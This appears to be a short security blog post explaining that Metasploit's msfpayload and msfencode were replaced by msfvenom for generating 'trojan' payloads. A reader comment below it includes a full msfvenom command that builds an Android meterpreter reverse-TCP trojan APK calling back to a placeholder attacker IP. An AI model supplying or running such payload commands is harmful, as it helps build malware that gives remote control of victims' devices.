msfpayload command not found in Kali Linux [Solved] 2020

Hey, There is Vijay  kumar, Welcome on my Blog!

msfpayload command not found is a big problem, As you know msfpayload was a very effective tool to generate payload and msfencoder for encoding payload by using good encoder. There are lots of articles, books related to generate Trojan, payload by using this utility available on different sources. some days back I have written article Creating Trojan Horse (Encoded)By Using Msfpayload but it is useless. Now days I have installed metasploit-framework on linux OS and run commad and I will get the error “msfpayload command not found”


Why does msfpayload command not found ?

As mentioned in the blog post was published by rapid7 on Jun 8th 2015, goodbye msfpayload and msfencode. And rapid7 has removed both commands.

So what is next?

msfpayload command not found – solution

when they removed those command they provided a strong working platform combination of msfpayload and msfencode called msfvenom. Now run the msfvenom command to create a payload (trojan, backdor) and encode by using it. there is no more difference for generating payload. I have written an good article MSFvenom replacement of MSFpayload and msfencode – Full guide on msfvenom.

Problem solved


If Appreciate My Work, You should consider:

1 thought on “msfpayload command not found in Kali Linux [Solved] 2020”

  1. Hello, i have a question hope you reply as soon as possible: When i make #msfvenom -p anndroid/meterpreter/reverse_tcp LHOST=[attacker IP] LPORT=[desired port] R > trojan.apk the payload size gives me 0 bytes. Hope you can help me as fast as possible and thanks.


Leave a Comment